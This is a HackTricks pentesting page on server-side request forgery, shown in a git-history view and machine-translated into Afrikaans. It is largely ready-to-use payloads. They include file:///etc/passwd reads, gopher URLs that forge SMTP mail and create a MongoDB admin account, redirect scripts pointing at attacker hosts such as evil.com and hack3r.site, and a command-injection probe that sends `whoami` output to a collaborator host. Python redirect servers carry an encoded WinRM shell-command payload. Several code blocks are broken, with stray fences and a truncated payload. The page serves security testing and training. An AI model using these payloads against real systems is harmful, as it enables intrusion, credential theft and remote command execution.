hacktricks/pentesting-web/ssrf-server-side-request-forgery/README.md

406 lines
25 KiB
Markdown
Raw Normal View History

2022-04-29 15:47:17 +00:00
# SSRF (Server Side Request Forgery)
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-09-01 23:40:55 +00:00
\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
2022-09-01 23:40:55 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
2022-09-01 23:40:55 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Leer AWS hakwerk van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2024-01-01 17:15:10 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:07:06 +00:00
## Basiese Inligting
2024-02-05 20:00:40 +00:00
'n **Server-side Request Forgery (SSRF)** kwesbaarheid kom voor wanneer 'n aanvaller 'n **server-side toepassing** manipuleer om **HTTP-versoeke** na 'n domein van hul keuse te maak. Hierdie kwesbaarheid stel die bediener bloot aan willekeurige eksterne versoeke gerig deur die aanvaller.
2022-02-13 12:30:13 +00:00
2024-02-11 02:07:06 +00:00
## Vang SSRF
2022-02-13 12:30:13 +00:00
Die eerste ding wat jy moet doen is om 'n SSRF interaksie wat deur jou gegenereer is, vas te vang. Om 'n HTTP- of DNS-interaksie vas te vang, kan jy gereedskap soos gebruik:
2022-02-13 12:30:13 +00:00
2024-02-05 20:00:40 +00:00
* **Burp Collaborator**
2022-02-13 12:30:13 +00:00
* [**pingb**](http://pingb.in)
2022-09-01 23:40:55 +00:00
* [**canarytokens**](https://canarytokens.org/generate)
2022-04-05 22:24:52 +00:00
* [**interractsh**](https://github.com/projectdiscovery/interactsh)
* [**http://webhook.site**](http://webhook.site)
* [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff)
2024-02-05 20:00:40 +00:00
* [http://requestrepo.com/](http://requestrepo.com/)
* [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
2024-02-11 02:07:06 +00:00
* [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - 'n Burp Collaborator wat ngrok gebruik
2022-02-13 12:30:13 +00:00
## Gelysde Domeine Omgang
2022-02-13 12:30:13 +00:00
Gewoonlik sal jy vind dat die SSRF net werk in **sekere gelysde domeine** of URL. Op die volgende bladsy het jy 'n **samestelling van tegnieke om te probeer om daardie witlys te omseil**:
2022-02-13 12:30:13 +00:00
{% content-ref url="url-format-bypass.md" %}
[url-format-bypass.md](url-format-bypass.md)
{% endcontent-ref %}
### Omgang via oop omleiding
2022-02-13 12:30:13 +00:00
As die bediener korrek beskerm is, kan jy **alle beperkings omseil deur 'n Oop Omleiding binne die webbladsy uit te buit**. Omdat die webbladsy **SSRF na dieselfde domein** sal toelaat en waarskynlik sal **omleidings volg**, kan jy die **Oop Omleiding uitbuit om die bediener te maak om interne enige hulpbron** te benader.\
2024-02-11 02:07:06 +00:00
Lees meer hier: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
2022-02-13 12:30:13 +00:00
2024-02-11 02:07:06 +00:00
## Protokolle
2022-04-29 15:47:17 +00:00
* **file://**
* Die URL-skema `file://` word verwys, wat direk na `/etc/passwd` wys: `file:///etc/passwd`
* **dict://**
* Die DICT URL-skema word beskryf as wat gebruik word om definisies of woordelyste via die DICT-protokol te benader. 'n Voorbeeld illustreer 'n gekonstrueerde URL wat 'n spesifieke woord, databasis en inskrywingnommer teiken, sowel as 'n voorbeeld van 'n PHP-skrip wat moontlik misbruik kan word om met aanvaller-verskafte geloofsbriewe na 'n DICT-bediener te verbind: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
* **SFTP://**
* Geïdentifiseer as 'n protokol vir veilige lêeroordrag oor 'n veilige dop, word 'n voorbeeld verskaf wat wys hoe 'n PHP-skrip uitgebuit kan word om met 'n skadelike SFTP-bediener te verbind: `url=sftp://generic.com:11111/`
* **TFTP://**
* Triviale Lêeroordragprotokol, wat oor UDP werk, word genoem met 'n voorbeeld van 'n PHP-skrip wat ontwerp is om 'n versoek na 'n TFTP-bediener te stuur. 'n TFTP-versoek word aan 'generic.com' op poort '12346' vir die lêer 'TESTUDPPACKET' gestuur: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
* **LDAP://**
* Hierdie segment dek die Ligte Gids Toegangsprotokol, wat beklemtoon word vir die bestuur en toegang tot verspreide gidsinligtingsdienste oor IP-netwerke. Interageer met 'n LDAP-bediener op die plaaslike gasheer: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
* **SMTP**
* 'n Metode word beskryf vir die uitbuiting van SSRF-kwesbaarhede om met SMTP-diens op die plaaslike gasheer te interageer, insluitend stappe om interne domeinname te onthul en verdere ondersoekaksies gebaseer op daardie inligting.
2022-02-13 12:30:13 +00:00
```
2024-02-06 03:10:27 +00:00
From https://twitter.com/har1sec/status/1182255952055164929
2024-02-05 20:00:40 +00:00
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
2022-02-13 12:30:13 +00:00
```
* **Curl URL globbing - WAF omseiling**
* Indien die SSRF uitgevoer word deur **curl**, het curl 'n kenmerk genaamd [**URL globbing**](https://everything.curl.dev/cmdline/globbing) wat nuttig kan wees om WAFs te omseil. Byvoorbeeld in hierdie [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) kan jy hierdie voorbeeld vind vir 'n **padtraversal via `file` protokol**:
2022-02-13 12:30:13 +00:00
```
2024-02-05 20:00:40 +00:00
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
2022-02-13 12:30:13 +00:00
```
* **Gopher://**
* Die Gopher-protokol se vermoë om IP, poort, en bytes vir bediener kommunikasie te spesifiseer word bespreek, saam met gereedskap soos Gopherus en remote-method-guesser vir die skep van payloads. Twee onderskeie gebruike word geïllustreer:
2022-02-13 12:30:13 +00:00
2022-09-01 23:40:55 +00:00
### Gopher://
2022-02-13 12:30:13 +00:00
Deur hierdie protokol te gebruik, kan jy die **IP, poort en bytes** spesifiseer wat jy wil hê die bediener moet **stuur**. Dan kan jy basies 'n SSRF uitbuit om te **kommunikeer met enige TCP bediener** (maar jy moet eers weet hoe om met die diens te praat).\
2024-02-11 02:07:06 +00:00
Gelukkig kan jy [Gopherus](https://github.com/tarunkant/Gopherus) gebruik om payloads vir verskeie dienste te skep. Daarbenewens kan [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) gebruik word om _gopher_ payloads vir _Java RMI_ dienste te skep.
2022-02-13 12:30:13 +00:00
2022-04-29 15:47:17 +00:00
**Gopher smtp**
2022-02-13 12:30:13 +00:00
```
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
```
2022-04-29 15:47:17 +00:00
**Gopher HTTP**
2022-02-13 12:30:13 +00:00
```bash
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
```
**Gopher SMTP - Agterkoppel na 1337**
2022-02-13 12:30:13 +00:00
{% code title="redirect.php" %}
```php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
```
{% endcode %}
#### Gopher MongoDB -- Skep gebruiker met gebruikersnaam=admin met wagwoord=admin123 en met toestemming=administrateur
```bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
```
2024-02-11 02:07:06 +00:00
## SSRF via Verwysingskop & Ander
2023-01-11 11:28:05 +00:00
Analitiese sagteware op bedieners hou dikwels die Verwysingskop dop om inkomende skakels te volg, 'n praktyk wat onbedoeld programme blootstel aan Server-Side Request Forgery (SSRF) kwesbaarhede. Dit is omdat sulke sagteware eksterne URL's wat in die Verwysingskop genoem word, mag besoek om verwysingswebwerf-inhoud te analiseer. Om hierdie kwesbaarhede bloot te lê, word die Burp Suite-inprop "**Collaborator Everywhere**" aanbeveel, wat die manier waarop analitiese gereedskap die Verwysingskop verwerk benut om potensiële SSRF-aanvaloppervlaktes te identifiseer.
2023-01-11 11:28:05 +00:00
## SSRF via SNI-data van sertifikaat
2024-04-06 18:08:38 +00:00
'n Foutkonfigurasie wat die verbinding met enige agterkant moontlik maak deur 'n eenvoudige opstelling, word geïllustreer met 'n voorbeeld Nginx-konfigurasie:
2024-02-06 03:10:27 +00:00
```
2023-01-11 11:28:05 +00:00
stream {
2024-02-11 02:07:06 +00:00
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
2023-01-11 11:28:05 +00:00
}
```
In hierdie opset word die waarde van die Server Name Indication (SNI) veld direk gebruik as die agterkant se adres. Hierdie opstelling stel 'n kwesbaarheid bloot aan Server-Side Request Forgery (SSRF), wat uitgebuit kan word deur bloot die gewenste IP-adres of domeinnaam in die SNI-veld te spesifiseer. 'n Voorbeeld van uitbuiting om 'n verbinding met 'n willekeurige agterkant te dwing, soos `internal.host.com`, met behulp van die `openssl`-opdrag word hieronder gegee:
2023-01-11 11:28:05 +00:00
```bash
2024-02-06 03:10:27 +00:00
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
2023-01-11 11:28:05 +00:00
```
## [Laaibestand oplaai met Wget](../file-upload/#wget-file-upload-ssrf-trick)
2023-01-11 11:28:05 +00:00
2024-02-11 02:07:06 +00:00
## SSRF met Opdraginspuiting
2023-01-11 11:28:05 +00:00
Dit mag die moeite werd wees om 'n lading soos te probeer: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
2022-02-13 12:30:13 +00:00
## PDFs Weergawe
2022-02-13 12:30:13 +00:00
As die webblad outomaties 'n PDF skep met sekere inligting wat jy voorsien het, kan jy **'n bietjie JS invoeg wat deur die PDF-skepper self** (die bediener) uitgevoer sal word terwyl die PDF geskep word en jy sal in staat wees om 'n SSRF te misbruik. [**Vind meer inligting hier**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
2022-02-13 12:30:13 +00:00
## Vanaf SSRF tot DoS
2022-02-13 12:30:13 +00:00
Skep verskeie sessies en probeer swaar lêers aflaai deur die SSRF van die sessies te misbruik.
2022-02-13 12:30:13 +00:00
## SSRF PHP Funksies
2023-01-22 18:27:01 +00:00
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %}
[php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
{% endcontent-ref %}
## SSRF Omskakel na Gopher
2022-02-13 12:30:13 +00:00
Vir sommige uitbuitings mag jy nodig hê om **'n omleiding antwoord te stuur** (moontlik om 'n ander protokol soos gopher te gebruik). Hier het jy verskillende Python-kodes om met 'n omleiding te antwoord:
```python
2022-02-13 12:30:13 +00:00
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
2024-02-11 02:07:06 +00:00
def do_GET(self):
print("GET")
self.send_response(301)
```html
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
```html
2024-02-11 02:07:06 +00:00
self.end_headers()
2022-02-13 12:30:13 +00:00
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
```
2022-02-13 12:30:13 +00:00
```python
from flask import Flask, redirect
from urllib.parse import quote
2024-02-11 02:07:06 +00:00
app = Flask(__name__)
2022-02-13 12:30:13 +00:00
2024-02-11 02:07:06 +00:00
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
```
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-09-01 23:40:55 +00:00
\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) om maklik te bou en **outomatiseer workflows** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Kry Toegang Vandag:
2022-09-01 23:40:55 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
2022-09-01 23:40:55 +00:00
## Verkeerd geconfigureerde proksi's vir SSRF
Truuks [**van hierdie pos**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
### Flask
<details>
<summary>Flask proksi kwesbare kode</summary>
```python
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
if __name__ == "__main__":
app.run(threaded=False)
```
</besonderhede>
Flask maak dit moontlik om **`@`** as aanvanklike karakter te gebruik, wat dit moontlik maak om die **aanvanklike gasheernaam die gebruikersnaam** te maak en 'n nuwe een in te spuit. Aanval versoek:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
```
### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
2024-04-06 18:08:38 +00:00
Kwesbare kode:
2024-04-06 18:08:38 +00:00
<figure><img src="../../.gitbook/assets/image (1201).png" alt=""><figcaption></figcaption></figure>
Dit is ontdek dat dit moontlik is om **die pad te begin** van 'n versoek met die karakter **`;`** wat dan toelaat om **`@`** te gebruik en 'n nuwe gasheer in te spuit om toegang te verkry. Aanval versoek:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
### PHP Ingeboude Webbediener <a href="#heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation" id="heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation"></a>
2024-04-06 18:08:38 +00:00
<details>
<summary>Kwesbare PHP-kode</summary>
```php
<?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];
$proxy_site = $site.$current_uri;
var_dump($proxy_site);
2022-04-29 15:47:17 +00:00
echo "\n\n";
$response = file_get_contents($proxy_site);
var_dump($response);
?>
```
</details>
2024-04-06 18:08:38 +00:00
PHP laat die gebruik van die **karakter `*` voor 'n skuiwe in die pad** van die URL toe, maar dit het ander beperkings soos dat dit slegs vir die hoof padnaam `/` gebruik kan word en dat kolletjies `.` nie voor die eerste skuiwe toegelaat word nie, dus is dit nodig om 'n puntlose-heks gekodeerde IP-adres te gebruik byvoorbeeld:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
```
## DNS Rebidding CORS/SOP bypass
Indien jy **probleme** ondervind om inhoud van 'n plaaslike IP **uit te sif** as gevolg van **CORS/SOP**, kan **DNS Rebidding** gebruik word om daardie beperking te omseil:
{% content-ref url="../cors-bypass.md" %}
[cors-bypass.md](../cors-bypass.md)
{% endcontent-ref %}
### Geoutomatiseerde DNS Rebidding
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) is 'n hulpmiddel om [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) aanvalle uit te voer. Dit sluit die nodige komponente in om die IP-adres van die aanvalbediener se DNS-naam na die teikenrekenaar se IP-adres te herbind en aanvalspakkette te dien om kwesbare sagteware op die teikenrekenaar te misbruik.
Kyk ook na die **openbaar lopende bediener in** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
## DNS Rebidding + TLS-sessie-ID/Sessietiket
Vereistes:
* **SSRF**
* **Uitgaande TLS-sessies**
* **Dinge op plaaslike poorte**
Aanval:
1. Vra die gebruiker/bot om **toegang** tot 'n **domein** wat deur die **aanvaller** beheer word
2. Die **TTL** van die **DNS** is **0** sek (sodat die slagoffer binnekort weer die IP van die domein sal nagaan)
3. 'n **TLS-verbinding** word geskep tussen die slagoffer en die domein van die aanvaller. Die aanvaller voeg die **pakkie binne** die **Sessie-ID of Sessietiket** in.
4. Die **domein** sal 'n **oneindige kringloop** van herleiings teen **homself** begin. Die doel hiervan is om die gebruiker/bot die domein te laat benader totdat dit **weer** 'n **DNS-versoek** van die domein uitvoer.
5. In die DNS-versoek word 'n **privaat IP**-adres **nou** gegee (byvoorbeeld 127.0.0.1)
6. Die gebruiker/bot sal probeer om die TLS-verbinding **te herstel** en om dit te doen, sal dit die **Sessie**-ID/Tiket-ID stuur (waarin die **pakkie** van die aanvaller ingesluit was). So geluk, jy het dit reggekry om die **gebruiker/bot homself aan te val**.
Let wel dat tydens hierdie aanval, as jy localhost:11211 (_memcache_) wil aanval, moet jy die slagoffer die aanvanklike verbinding met www.attacker.com:11211 laat vestig (die **poort moet altyd dieselfde wees**).\
Om **hierdie aanval uit te voer, kan jy die hulpmiddel gebruik**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
Vir **meer inligting** kyk na die aanbieding waar hierdie aanval verduidelik word: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
## Blinde SSRF
Die verskil tussen 'n blinde SSRF en 'n nie-blinde een is dat in die blinde jy nie die respons van die SSRF-versoek kan sien nie. Dit is dus moeiliker om te misbruik omdat jy slegs bekende kwesbaarhede sal kan misbruik.
### Tyd-gebaseerde SSRF
Deur die **tyd** van die respons van die bediener te **kontroleer**, kan dit moontlik wees om te weet of 'n hulpbron bestaan of nie (miskien neem dit langer om 'n bestaande hulpbron te benader as om een te benader wat nie bestaan nie)
## Cloud SSRF Uitbuiting
As jy 'n SSRF-kwesbaarheid in 'n masjien wat binne 'n wolkomgewing hardloop, vind, kan jy interessante inligting oor die wolkomgewing verkry en selfs geloofsbriewe:
{% content-ref url="cloud-ssrf.md" %}
[cloud-ssrf.md](cloud-ssrf.md)
{% endcontent-ref %}
## SSRF Kwesbare Platforms
Verskeie bekende platforms bevat of het SSRF-kwesbaarhede bevat, kyk na hulle in:
{% content-ref url="ssrf-vulnerable-platforms.md" %}
[ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
{% endcontent-ref %}
## Gereedskap
### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
Hulpmiddel om SSRF-kwesbaarhede op te spoor en uit te buit
### [Gopherus](https://github.com/tarunkant/Gopherus)
* [Blogpos oor Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
Hierdie hulpmiddel genereer Gopher-pakkette vir:
* MySQL
* PostgreSQL
* FastCGI
* Redis
* Zabbix
* Memcache
### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [Blogpos oor SSRF-gebruik](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
_remote-method-guesser_ is 'n _Java RMI_ kwesbaarheidsskandeerder wat aanvalsoperasies vir die mees algemene _Java RMI_ kwesbaarhede ondersteun. Die meeste van die beskikbare operasies ondersteun die `--ssrf`-opsie om 'n _SSRF_-pakkie vir die versoekte operasie te genereer. Saam met die `--gopher`-opsie kan gereedskap vir _gopher_ direk gegenereer word.
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
SSRF Proxy is 'n multi-draad HTTP-proksiebediener wat ontwerp is om kliënt-HTTP-verkeer deur HTTP-bedieners wat vatbaar is vir Server-Side Request Forgery (SSRF) te tonnel.
### Om te oefen
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
## Verwysings
* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
